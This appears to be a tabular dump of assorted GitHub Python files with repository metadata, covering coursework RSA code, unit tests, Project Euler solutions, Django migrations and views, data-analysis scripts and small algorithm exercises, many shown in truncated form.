143eab90e1c7f37888f668b3c97386d68781e1ff | 81669e40a61e137f3fd13039c912b0594b530b69 | /HW4/B10532011_高靖雅/Rsa_generate.py | af6c43343a6ad675c96e69b593892b7816a0c739 | [] | no_license | hsingpingwang/Information_Security_Class | 7143e42d140deac2f6616db1d281c7fb76e598f6 | f952fe070aae0f7f4a7775a784cf12fc4237df9c | refs/heads/master | 2020-08-02T21:53:37.721791 | 2020-01-02T14:55:12 | 2020-01-02T14:55:12 | 211,517,550 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,308 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Dec 10 23:19:51 2019
@author: chinya
"""
import random, math, sys
"""
參數: 正整數x 整數指數k optional modulus p
計算: x^k 或是 x^k mod p (p存在時)
"""
def square_and_multiply(x, k, p=None):
b = bin(k).lstrip('0b')
r = 1
for i in b:
r = r**2
if i == '1':
... | [
"smallrespect33@gmail.com"
] | smallrespect33@gmail.com |
2d8e282e4ff5217cf1139f3a412e41342844571a | 278a000f8b40476b5d1473cc1b98d5872551cab2 | /test_sphere_volume.py | cb30c89536569a7350adecec0fb65901984d43cd | [] | no_license | Kaliumerbol/kaliev_erbol_hw_2.6 | 172eb765a9cd5be8f8a9dc4f28e3fc258e5d92d9 | 5ea5fa98baf10d467a287da435f40e796c2594c3 | refs/heads/main | 2023-06-05T15:44:51.723761 | 2021-06-29T10:51:01 | 2021-06-29T10:51:01 | 381,329,097 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 981 | py | import unittest
import math
from sphere_volume import calculate_sphere_volume
pi = math.pi
class TestSphereVolume(unittest.TestCase):
def test_area(self):
self.assertAlmostEqual(calculate_sphere_volume(5), 4/3*pi*5**3)
self.assertAlmostEqual(calculate_sphere_volume(3.7), 4/3*pi*3.7**3)
s... | [
"you@example.com"
] | you@example.com |
dbc3109026886a765f36a35503e96aecea7ce691 | 6dd9c1861878c3d2b173465f690a156c141dcfe9 | /Problem13.py | af15f94f1f7e8c46845bafa78862fd49c24ea873 | [] | no_license | MGasiewski/Euler | d57bf33a5f22ff7ee0d626da561259e69d2c9437 | 7bb922545d6c32b2dc203637b7c496e73f4460c0 | refs/heads/master | 2021-05-05T02:29:51.184887 | 2018-02-01T03:15:00 | 2018-02-01T03:15:00 | 119,776,366 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,230 | py | number_string = '''37107287533902102798797998220837590246510135740250
46376937677490009712648124896970078050417018260538
74324986199524741059474233309513058123726617309629
91942213363574161572522430563301811072406154908250
23067588207539346171171980310421047513778063246676
8926167069662363382013637841838368417873436172... | [
"mattgasiewski@outlook.com"
] | mattgasiewski@outlook.com |
40e3e58fd9f5481541e28e7409d81d114f2d8598 | 783f4a386cc2e1dd434642835d5fe0ea8d21c305 | /neural_data_analysis.py | 67e37ddaf4e923097d553bfc34ef8a1d79a2892e | [] | no_license | wenshuowang/inverse-POMDP | 83b21af10e3f276715646c14ec1853bdebdd7ef4 | 596709441a80b9f4685b1b575cd6a5d89eee04c6 | refs/heads/master | 2022-12-22T03:26:57.467651 | 2020-09-27T04:45:23 | 2020-09-27T04:45:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,250 | py | from scipy.io import loadmat
import numpy as np
import matplotlib.pyplot as plt
import hdf5storage
from twobox import *
from HMMtwobox import *
import pickle
from datetime import datetime
import os
from pprint import pprint
path = os.getcwd()
datestring = datetime.strftime(datetime.now(), '%m%d%Y(%H%M)')
############... | [
"zhengwei@zhengweis-mbp.ad.bcm.edu"
] | zhengwei@zhengweis-mbp.ad.bcm.edu |
924fcb51f482e997c837a79f2363ad5b113136aa | 03195a6f98396fd27aedc3c06d81f1553fb1d16b | /pandas/tests/series/methods/test_rename.py | 90c8f775586e6d8a3b4fbc61dfc9c8334d7b3417 | [
"BSD-3-Clause"
] | permissive | huaxz1986/pandas | a08d80d27726fe141d449835b9a09265bca5b5e0 | ba2473834fedcf571d3f8245b4b24796873f2736 | refs/heads/master | 2023-06-11T02:20:14.544220 | 2022-01-12T04:40:06 | 2022-01-12T04:40:06 | 131,370,494 | 3 | 4 | BSD-3-Clause | 2018-04-28T03:51:05 | 2018-04-28T03:51:05 | null | UTF-8 | Python | false | false | 4,450 | py | from datetime import datetime
import numpy as np
import pytest
from pandas import (
Index,
MultiIndex,
Series,
)
import pandas._testing as tm
class TestRename:
def test_rename(self, datetime_series):
ts = datetime_series
renamer = lambda x: x.strftime("%Y%m%d")
renamed = ts.r... | [
"noreply@github.com"
] | noreply@github.com |
47d50974bddd183974be8f3a97f8d1eee628a000 | f34a29924278ea5beb415055fb25401e6f61afdc | /Problem 008.py | 5fb6a8f6a12a6dc54367ba0146e1b3cb896209a5 | [] | no_license | NathanLHall/Project-Euler | c860614b85bd7edf53db366bdedf763b3b4950dd | 5f26c0fdacbcc9fcbc637ab84fd34202169912ff | refs/heads/master | 2021-05-12T07:46:34.065900 | 2019-05-15T02:12:07 | 2019-05-15T02:12:07 | 117,257,762 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 709 | py | # -*- coding: utf-8 -*-
"""
Created on Mon Jan 15 12:06:57 2018
@author: NathanLHall
"""
adjacencyLength = 13
file = open("Problem 008.txt", 'r')
contents = file.readlines()
file.close()
number = []
maxProduct = 1
for line in contents:
for i in line:
if i != '\n':
number.... | [
"noreply@github.com"
] | noreply@github.com |
ab3e2eb43508d9f342a4113bbe93ea6f50279af2 | 63255cf9da84b5dd6aa4454dd50385d50c43aac9 | /tencent/sort_and_search/search.py | 7ed8bafa2fc87c9642650340c00b88a538a669e8 | [
"MIT"
] | permissive | summer-vacation/AlgoExec | d37054e937b7e3cc4c0f76019cf996acb0fb5a34 | 55c6c3e7890b596b709b50cafa415b9594c03edd | refs/heads/master | 2021-07-09T12:18:51.532581 | 2020-12-20T13:46:43 | 2020-12-20T13:46:43 | 223,929,183 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,429 | py | # -*- coding: utf-8 -*-
"""
File Name: search
Author : jing
Date: 2020/3/19
https://leetcode-cn.com/explore/interview/card/tencent/224/sort-and-search/927/
搜索旋转排序数组
O(log n)
"""
class Solution:
def search(self, nums, target: int) -> int:
if nums is None or len(nums... | [
"280806137@qq.com"
] | 280806137@qq.com |
385a5bafa117ea93e64ca3733a3337a00c47b93e | d24cef73100a0c5d5c275fd0f92493f86d113c62 | /SRC/tutorials/adaptive.py | a1b03746e2aa8e81ec7c3f1153c3136a05f080a9 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | rlinder1/oof3d | 813e2a8acfc89e67c3cf8fdb6af6b2b983b8b8ee | 1fb6764d9d61126bd8ad4025a2ce7487225d736e | refs/heads/master | 2021-01-23T00:40:34.642449 | 2016-09-15T20:51:19 | 2016-09-15T20:51:19 | 92,832,740 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,624 | py | # -*- python -*-
# $RCSfile: adaptive.py,v $
# $Revision: 1.14.2.6 $
# $Author: langer $
# $Date: 2014/09/27 22:34:44 $
# This software was produced by NIST, an agency of the U.S. government,
# and by statute is not subject to copyright in the United States.
# Recipients of this software assume all responsibilities as... | [
"faical.congo@nist.gov"
] | faical.congo@nist.gov |
ed8fef3d07e23a2f093517f597f0c74a78ebe285 | 405f30b4c99bbfcbdafeb66117650ec74d9e72a8 | /efarma/migrations/0012_auto_20210915_0047.py | 323a604d7b5f9f2e20cdbf6ce2d9369c1e7f521d | [] | no_license | kiri-kkv/Farma-e-commerce | 40fd12d49a43aedfc8bfdf31e7004205b08380fc | 02cce3963e1a643cb17d8ffe0ae2e7d662ff66c9 | refs/heads/main | 2023-08-13T17:01:29.990848 | 2021-10-03T19:37:09 | 2021-10-03T19:37:09 | 412,755,943 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 334 | py | # Generated by Django 3.1.7 on 2021-09-14 19:17
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('efarma', '0011_auto_20210915_0023'),
]
operations = [
migrations.RenameModel(
old_name='Productss',
new_name='Products',
... | [
"abhayrajpurohit457@gmail.com"
] | abhayrajpurohit457@gmail.com |
10f5428c568f19809af1bd1c84c1055637190d5f | 1a045ef85f066935912c937e4fdf331bad135746 | /learn.py | 45947697dd6c5673382ee68c68034331eb265f80 | [] | no_license | hlpureboy/EduSpider | 154c716152a8150fac70a5ddc1e45038bde15543 | f715ec8d6f364b3ee4cfe3d28d4d4386818490e2 | refs/heads/master | 2021-01-18T17:31:22.502743 | 2017-09-11T14:38:24 | 2017-09-11T14:38:24 | 100,488,683 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 816 | py | # -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
import sys
reload(sys)
sys.setdefaultencoding('utf8')
url='https://src.edu-info.edu.cn/list/?page='
def getinfo(url):
r = requests.get(url)
html_soup = BeautifulSoup(r.content, 'html.parser', from_encoding='utf8')
tr_soup = html_soup.find... | [
"hlpureboy@163.com"
] | hlpureboy@163.com |
667bf15c9e1a2c043f86acfeab69ef01a6f1287e | 52272d2b5bebf8b6d63bd7d3283744c6993fe6b9 | /Experiment 8 GS.py | e55f1ad2226961be6eab989b5baf303e1b85e119 | [] | no_license | Saqib9828/Numerical-Methods | 54143c376b851096c88e26cf38d05a0652d3f24b | 33563d294cc668fac5c12cb1d9a964417824bbb1 | refs/heads/master | 2020-07-15T01:37:17.891376 | 2019-11-12T11:26:56 | 2019-11-12T11:26:56 | 205,449,495 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 467 | py | import numpy as np
A = np.array([[4, -1, 1], [-1, 4, -2], [1, -2, 4]])
B = np.array([12, -1, 5])
x1= 0.0;x2 =0.0;x3 = 0.0;
count=0
while True:
w = x1; y= x2; z = x3;
x1 = float((B[0]-A[0][1]*x2-A[0][2]*x3)/A[0][0])
x2 = float((B[1]-A[1][0]*x1-A[1][2]*x3)/A[1][1])
x3 = float((B[2]-A[2][0]*x1-A[2][1]*x... | [
"noreply@github.com"
] | noreply@github.com |
2ad5fa16421f87f656519643af8a3217cfecc11c | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_145/223.py | c67f0e3c81cc4903f6cdce8da4043c6407e2bad7 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 668 | py | #!/usr/bin/env pypy
# -*- coding: utf-8 -*-
# google code jam - c.durr - 2014
# Part Elf
# https://code.google.com/codejam/contest/3004486/dashboard
#
#
from math import *
from sys import *
from fractions import *
def readint(): return int(stdin.readline())
def readarray(f): return map(f, stdin.read... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
8049fed35e9b91609422ac82c0339c6f80a7b202 | 1bbe6628b8700c04082efe3f7845fa2d224f69f8 | /kraft/config/__init__.py | 487250975ddf54c83c9424d4c47454981715a99c | [
"BSD-3-Clause"
] | permissive | shawndfisher/kraft | 59d602d8ce342e1d6130101c4cd1a3825acc59be | ef604ff736c68f724283c61975052c0e9a6ac50f | refs/heads/master | 2022-07-14T06:55:40.035956 | 2020-05-13T06:04:50 | 2020-05-13T06:04:50 | 263,535,484 | 0 | 0 | NOASSERTION | 2020-05-13T05:38:41 | 2020-05-13T05:38:40 | null | UTF-8 | Python | false | false | 1,769 | py | # SPDX-License-Identifier: BSD-3-Clause
#
# Authors: Alexander Jung <alexander.jung@neclab.eu>
#
# Copyright (c) 2020, NEC Europe Ltd., NEC Corporation. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are ... | [
"a.jung@lancs.ac.uk"
] | a.jung@lancs.ac.uk |
3e3334ac9c457a09d67255034637563218b4b84c | 78d8bc8f5ab999d1ba57ff0170ad961aef79cdd1 | /TutorialsPy/tute11EX.py | a32fb2d5be80ee5d7a44f1a4a3747de5e24b2656 | [] | no_license | KrushnaDike/My-Python-Practice | 239197b198f8ba1ec1951bcf6c91cbe7f116eebd | c7bfa8aec5ab1f5760ec8fb5c9c5321aaf263366 | refs/heads/main | 2023-07-05T15:18:47.402772 | 2021-08-13T17:41:06 | 2021-08-13T17:41:06 | 395,737,118 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 254 | py | dict1 = {"Mutable":"Can Change", "Immutable":"Can Not Change",
"Set":"It is the collection of well defined object", "Software":"Application"}
key = input("Enter what you want to search in oxford dictionary :")
print("Your Ans :",dict1[key])
| [
"noreply@github.com"
] | noreply@github.com |
7feb3a2099c0b31eb644b97094ca8bd35a6ed74b | 7af363055dda3aaa15babe62c44091a4850f1996 | /setup.py | ac9d89e6e576c60b7afb9081c7f7cbef0a469489 | [] | no_license | TH3-MA3STRO/youtube-auto-commenter | 801a537048e4c693809abc895b0088ff10955d7a | cff2c970642e327304f780a848c854a07a908e93 | refs/heads/master | 2022-07-15T14:39:17.592728 | 2020-05-12T16:57:52 | 2020-05-12T16:57:52 | 263,416,321 | 0 | 0 | null | 2020-05-12T18:18:29 | 2020-05-12T18:18:29 | null | UTF-8 | Python | false | false | 581 | py | import setuptools
setuptools.setup(
name="comspam",
version="1.0.0",
author="Abhi Raj", py_modules=['youtube-auto-commenter'],
install_requires=[
"pyautogui",
],
classifiers=[
"Natural Language :: English",
"Programming Language :: Python :: 3 :: Only",
... | [
"noreply@github.com"
] | noreply@github.com |
9fe756e237503628f7a1484ed96bfbbd7a55d300 | 1eeb96daa88f5114ca6302d4182102f77d2c3447 | /objective.py | 89f49761efd1852169b01eee077f9913df2620b6 | [] | no_license | Shivam-walia/spyproject2 | d5271c0dca933296dc912990800f0eae177cd3bc | 13f98e9bb3a0af8fa1e58501c5a8be8611132dd3 | refs/heads/master | 2020-12-02T21:16:15.709776 | 2017-07-13T07:13:51 | 2017-07-13T07:13:51 | 96,283,978 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 761 | py | #import all need labraries and functions from files
from constants import *
import requests
from get_user_id import get_user_id
#function which fetch the hash tag comment from users post
def get_hash_tag(insta_username):
user_id=get_user_id(insta_username)
if user_id==None:
print "user not exist"
... | [
"shivamw65@gmail.com"
] | shivamw65@gmail.com |
203d48135e76577a770ff4923a90e54c1bec9816 | bdfa01948ea90e324865c65b85634a9f66554c2d | /Módulo 1/EX_052.py | 41c4b08ba9433e3f610d0cf9365723414768e862 | [] | no_license | dev-dougie/curso_em_video-python | 4352dc93311fb2ce6618641ec45e0d813d6d6018 | c4e0af6b13897f631bb970b8e4da5ce6b905621b | refs/heads/master | 2022-11-19T05:51:53.619999 | 2020-07-23T21:46:44 | 2020-07-23T21:46:44 | 282,061,899 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 328 | py | p = str(input('Digite a palavra ou frase: ')).strip().upper()
frase = p.split()
junto = ''.join(frase)
inverso = ''
for c in range(len(junto) - 1, -1, -1): #lendo a quantidade de letras em 'junto' - 1
inverso = inverso + junto[c]
if inverso == junto:
print('É um políndromo')
else:
print('Não é um políndromo... | [
"dougllasp.s@outlook.com"
] | dougllasp.s@outlook.com |
7cba99aca08bf67bf9a2ab23691abd5757786132 | 3582962421cdcdcf887eb1e74369bb62b3d2e22f | /Venv/bin/player.py | 7917d4a315e3020044f83a2d774bf3156a3454bb | [] | no_license | NickConnelly/NewTort | 5d9b5ebd45961b74315fb9bebe02f78835d1d531 | 7d84203b573e7a764e0a887d4a508f40976ae07d | refs/heads/master | 2020-04-02T03:25:44.047807 | 2016-07-22T02:42:18 | 2016-07-22T02:42:18 | 63,916,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,209 | py | #!/home/nick/Desktop/Tortoisewag742016/Venv/bin/python
#
# The Python Imaging Library
# $Id$
#
from __future__ import print_function
try:
from tkinter import *
except ImportError:
from Tkinter import *
from PIL import Image, ImageTk
import sys
# -------------------------------------------------------------... | [
"nick.connelly@live.com"
] | nick.connelly@live.com |
2cb8ca949fcf8d9c0a0769f1582b3ef182b43004 | bed31e66a8a94a936afb61bd60b98ab5785a7e99 | /redditfunction.py | 80d42d381e407bd934ebb4b7599de6c0346bb045 | [] | no_license | MuskanSinghal/AnalyzingTrends | 6d0c9a08657c6540452f27c71f8de6e0317dc49e | 3aaa147eb35fcbb3daec1de87a056f051675518e | refs/heads/master | 2022-10-08T19:52:50.203070 | 2020-06-08T19:47:15 | 2020-06-08T19:47:15 | 270,776,371 | 0 | 0 | null | 2020-06-08T18:15:47 | 2020-06-08T18:15:47 | null | UTF-8 | Python | false | false | 709 | py | # -*- coding: utf-8 -*-
import requests
import json
class RedditFunction :
#This function returns a list of reddit post links
def getPushshiftData(self, size, after, before, queryr) :
args = '&sort=desc&sort_type=score&over_18=false&score=>2000&size=' +str(size) + '&after=' + str(after) + ... | [
"claytonmgravatt@gmail.com"
] | claytonmgravatt@gmail.com |
bdc2a4945556fd632e26d71c5acfeb2aaa531578 | f5785fb207619246463396b0ea51406e165ac7fd | /Week_01/42.接雨水.py | 40b3b63bcaed27d4756e5d78d6e4f943253868ff | [] | no_license | loveyinghua1987/algorithm014-algorithm014 | a6a1193145b876c25b2ca9b510c75055219f1d39 | 2f739162fa8f55aca5861b55eba67f430eedb5a6 | refs/heads/master | 2023-01-02T10:52:34.099502 | 2020-10-31T03:09:11 | 2020-10-31T03:09:11 | 286,626,769 | 0 | 0 | null | 2020-08-11T02:33:07 | 2020-08-11T02:33:07 | null | UTF-8 | Python | false | false | 1,325 | py | #
# @lc app=leetcode.cn id=42 lang=python3
#
# [42] 接雨水
#
# @lc code=start
class Solution:
def trap(self, height: List[int]) -> int:
#方法2:双指针
i, j = 0, len(height)-1
max_left, max_right = 0, 0
water = 0
while i < j:
if height[i] < height[j]: #height[i] < height... | [
"chendandanens@126.com"
] | chendandanens@126.com |
96ca952f04e3772a34cf8f1397fd20610d15c7a0 | 40caa23ac77a06d3062071363bc0d0332aeeeeb0 | /main/migrations/0002_game_status.py | dac473fa3fe04db8772b13f2e2c130ceacfe973e | [] | no_license | BasketballData/BasketballDataScrape | 5fac683f43c52ccab15d6276e880a114fd5ee00f | 39f7d1aab9f59ba72626387b7eea4029ec2cf8f3 | refs/heads/master | 2021-07-13T13:01:27.908214 | 2017-10-13T19:00:23 | 2017-10-13T19:00:23 | 103,017,164 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-09-09 12:41
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0001_initial'),
]
operations = [
migrations.AddField(
m... | [
"netcrime4@gmail.com"
] | netcrime4@gmail.com |
7df9946881c39fa19927dc7af9adc718209f4830 | b491cdde72d8d4beaa07ac9ca969dfe865856314 | /minimalpipeline-master/scripts/ev_cv.py | c4aff95664b2c9fb004e9967118f56499f7b756a | [] | no_license | FellinRoberto/PersonalityPrediction | 659a2c4cc94778f57b2da86991ec8dab971e74c1 | 0750b78f67c7693cfcae17024e3506e2d0f644fb | refs/heads/master | 2021-01-01T18:16:57.249997 | 2017-11-10T15:40:07 | 2017-11-10T15:40:07 | 98,294,451 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,917 | py | from __future__ import division
import os
import sys
import logging
from optparse import OptionParser
import metrics
from ev import read_res_pred_files
import math
logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)
def stats_cv(path=".", format="trec", prefix="svm", th=50, ... | [
"fellin.roberto@hotmail.it"
] | fellin.roberto@hotmail.it |
5b3762c02c7c7b4b4f9facb6cac52f2b636c4428 | d2160e6de585d75ec42b1cd861340c3d78610984 | /BillChop/chop/migrations/0007_receipt_image.py | 3e55297ef9c209879adfd97392efb25a3cedf90e | [] | no_license | singichs/BillChop | 8eabacd9ea9e02766947592c640489f486329952 | b726fde5beb421e41cb23c060f618aa5bc84ad56 | refs/heads/master | 2020-04-09T06:18:46.812438 | 2018-12-02T23:37:37 | 2018-12-02T23:37:37 | 160,106,845 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 484 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-11-11 07:35
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('chop', '0006_auto_20171108_1611'),
]
operations = [
migrations.AddField(
... | [
"jmkunnat@umich.edu"
] | jmkunnat@umich.edu |
2927f00d5c0dc243e901c6ece4b6bfb68541df6d | bd51254da13c09bb60b216280788acc89926e89a | /analytics/EtaCar/Hepsilon/GMOS/fit_gmos_hepsilon.py | 59cf31edede8af31ccbc0c3304ba3c5ddd42e581 | [] | no_license | DavoGrant/SpectralDynamics | d52257699a08fa599966a85b22c9c3c2d87224a0 | 9304794b2b22242bfa6ba70bc50f88eae19ea3ff | refs/heads/master | 2023-08-08T15:45:33.802822 | 2022-06-22T08:21:43 | 2022-06-22T08:21:43 | 215,364,235 | 0 | 0 | null | 2022-06-22T01:20:23 | 2019-10-15T18:03:08 | Python | UTF-8 | Python | false | false | 2,500 | py | import sqlite3
import pandas as pd
from config import RESULTS_PATH, DB_PATH
from extract.core.spectra import SpectralHandler
from extract.core.lines import SpectralFits
from extract.observatories.gemini import GeminiTelescopeInstruments
from extract.features.etacar_library import etacar_templates
from extract.helpers ... | [
"david.grant@physics.ox.ac.uk"
] | david.grant@physics.ox.ac.uk |
33f57616db70a4b29866938453f716978cba239a | ea12f060702af72a7a408d83b67424579a9215e0 | /pet.py | 8d973ae8402d9adb05984dac802c52aaccdf27ab | [] | no_license | kenanAlhindi97/b-ignited-python | 4e4b24dd15ad9a519145f0edb728d219ace1bc79 | dc164d71df87048dd45f96827638b6b4642b7542 | refs/heads/master | 2023-08-25T21:56:26.994111 | 2021-10-04T11:01:42 | 2021-10-04T11:01:42 | 413,389,274 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 867 | py | class Tag:
def __init__(self, tag_id, tag_name):
self.tag_name = tag_name
self.tag_id = tag_id
def to_json(self):
return {
"id": self.tag_id,
"name": self.tag_name
}
class Pet:
def __init__(self, name, pet_id, category, cat_id, image_urls, status, t... | [
"alhinke@cronos.be"
] | alhinke@cronos.be |
be3d4de077db43c7cf8777d1fc655106e6be15a2 | fab208825764bd6b50b8198a364ea04521b70566 | /ticketing/migrations/0002_cinema.py | dbfe651f36348b29ef6f202b278b79b5c5bf3c0d | [] | no_license | iam-Robo/DjangoCourse | 69bb2bf9fe6582b94ebf1fefccf0321a544183bc | 0842c966048b773ae0a177f6acf1887e22b2a5ef | refs/heads/master | 2023-08-26T12:09:31.655701 | 2021-10-23T06:54:55 | 2021-10-23T06:54:55 | 370,765,396 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | # Generated by Django 3.2.3 on 2021-05-26 07:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ticketing', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Cinema',
fields=[
('cine... | [
"a.abizadeh@gmail.com"
] | a.abizadeh@gmail.com |
8c9831cf023007d0c71f173fc3e83ba0fd0dfc19 | 7d19af9fbaf3bdb07cadb05c17fa5b6ee61e3062 | /devel/py-editorconfig-core/patches/patch-setup.py | a5b21c51aeed7ea9288740b110be13bfd9ccb375 | [] | no_license | jrmarino/pkgsrc-synth | ff96437a20953c832777a70b9ad298229154fa35 | dc200e5f34878e8b3d57d4a5c321077c79b42ec7 | refs/heads/master | 2022-06-07T17:08:57.130400 | 2022-05-01T00:22:20 | 2022-05-01T00:22:20 | 71,819,061 | 3 | 3 | null | null | null | null | UTF-8 | Python | false | false | 788 | py | $NetBSD: patch-setup.py,v 1.2 2018/08/15 11:23:08 adam Exp $
* remove non-versioned file. The console command for editorconfig-core
is in the editorconfig-core package. Removing this file removes the
conflict that this package would have with the editorconfig-core
package.
--- setup.py.orig 2018-04-17 03:59:... | [
"dragonflybsd@marino.st"
] | dragonflybsd@marino.st |
e657bcfe649192e8afa5b0080dfb8e538965f618 | b4dea670701c4964af80eefe0e251bf9b3770c45 | /test.py | b3d5377c83b4b97dd6d408d5d33eb35a6a0d1b61 | [] | no_license | zohaibjan/Ensemble_PSO_Python_V1 | 54a3c85d26c07e78f529245d5ceb4e556ed92cfe | 1f06f72ba1156cbb930fa3be9d596944cb375d99 | refs/heads/master | 2020-11-24T10:27:03.380254 | 2020-11-02T11:30:43 | 2020-11-02T11:30:43 | 228,107,167 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 532 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Dec 4 12:12:00 2019
@author: janz
"""
from mainProgram import mainProgram
import numpy as np
import csv
data = {'thyroid','wine','diabetes',\
'segment', 'ecoli','cancer',\
'vehicle','iris','liver','ionosphere',\
'sonar','glass'}
numOfRuns = 10
file = open("res... | [
"zohaibjan@zohaibs-MacBook-Pro.local"
] | zohaibjan@zohaibs-MacBook-Pro.local |
7a895befdacc4f2f0ea72dc5eec7438bc6eb2c5a | eab04e0cf3b51840de0c446da352d9c70ef7942a | /NPTEL Course/Concept Practices/prime.py | 32b8b878f5f74df4e30818c2ccb63cf3971269bc | [] | no_license | yashgugale/Python-Programming-Data-Structures-and-Algorithms | eb2a49291440a29de98031de87208404350f9386 | 8d2b57e72ebac1f063b40b6c1f69683ade8703eb | refs/heads/master | 2021-08-08T05:59:31.628803 | 2017-11-09T17:30:09 | 2017-11-09T17:30:09 | 105,263,545 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def isprime(n):
factors = []
if n == 1:
print("1 is neither prime nor composite")
for i in range(2,n+1):
if n%i == 0:
factors.append(i)
if len(factors) > 2:
print(n," is a composite number")
else:
print(n," is a prime number")
#is... | [
"yashgugale@bitbucket.org"
] | yashgugale@bitbucket.org |
047851a7765a38405e92e6524f7a6cba7247af3b | 6750596d7bfbc192c5d2e706a05cb2163923b2e2 | /range-min-py/rangemin.py | a517af99f84659fe3cef8b5306bbaf88cd02f38a | [] | no_license | ak-19/segment-tree | b284c1b795604eb53ebda5f39322a7b8abe4fab8 | 9b06f2e83e1940fa7b79f44502e25ab9e2d8b725 | refs/heads/master | 2022-08-24T15:48:22.623939 | 2022-07-19T12:20:45 | 2022-07-19T12:20:45 | 173,442,996 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 848 | py | from math import inf
class MinSegementTree:
def __init__(self, A):
self.N = len(A)
self.A = [0] * self.N + A
for i in range(self.N-1, -1, -1):
self.A[i] = min(self.A[i * 2], self.A[i * 2 + 1])
def update(self, index, val):
index += self.N
self.A[index] = val... | [
"ante.kotarac@gmail.com"
] | ante.kotarac@gmail.com |
c8d875090e511a64be18c1beef7a7dbfdf199d4e | 10d7e5ae233518fc81c84d14dc83322d17ad04a9 | /apps/courses/views.py | 8e237e990223ef829132a05661c4b8178d959322 | [] | no_license | zonggeng/Mxonline3 | 815e88ea4df681e45e9588cf1f91160b75bb2c89 | 0dd3f11d7ba0060e2c696406235603608e90293a | refs/heads/master | 2021-05-08T16:09:03.694267 | 2018-02-07T04:25:49 | 2018-02-07T04:25:49 | 120,145,416 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,023 | py | from django.db.models import Q
from django.shortcuts import render
from pure_pagination import Paginator, EmptyPage, PageNotAnInteger
# Create your views here.
from django.views.generic.base import View
from courses.models import Course
from operation.models import UserFavorite
class CourseListView(View):
def ge... | [
"137100856@163.com"
] | 137100856@163.com |
258533bb62c69333a94d9d963a951015171969f8 | 19eb9945c3b11eef9b5792f85218a7a62a8aa17e | /explore.py | dd21c31197a74ccc4b0013dea08a3d15f36cb424 | [
"Apache-2.0"
] | permissive | SLIPO-EU/poi-data-exploration | 659ff452132ad131657e5ed66f41e092ce082936 | 4d11a14423a5b68c56da4131e67ff36e11dabe16 | refs/heads/master | 2020-03-21T08:00:04.349687 | 2018-08-30T09:21:37 | 2018-08-30T09:21:37 | 138,313,171 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,902 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Feb 20 11:27:34 2018
@author: Pantelis Mitropoulos
"""
import pandas as pd
import re
import json
from statistics import *
import sys
import time
class StatsWrapper(object):
"""
Collection of tools for statistics wrapper.
"""
errors = []
status = 1
def get_valid_filen... | [
"noreply@github.com"
] | noreply@github.com |
26072b403ea326c1d2d2ddda786ce2b7b13952b8 | 431facece670577819a32d5e638db8dc3350683f | /CCW/test.py | 0d082665fc62f305e3b7619a03a8314949d41dca | [] | no_license | mateoglzc/CodechellaProject | 59e2e393236442cc5536ef4a0c046e490ff37700 | 43a1dea0bd123fd5666ff762d089b5af0d07dc98 | refs/heads/master | 2023-01-18T23:17:11.625963 | 2020-11-22T04:46:28 | 2020-11-22T04:46:28 | 314,722,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 289 | py | from Naked.toolshed.shell import execute_js, muterun_js
def RunNodeScript():
from Naked.toolshed.shell import execute_js, muterun_js
result = execute_js('CCW/static/JS/getTweetLocations.js')
if result:
print('Succesfull')
else:
print('Unsuccesfull')
| [
"mateoglzc@hotmail.com"
] | mateoglzc@hotmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.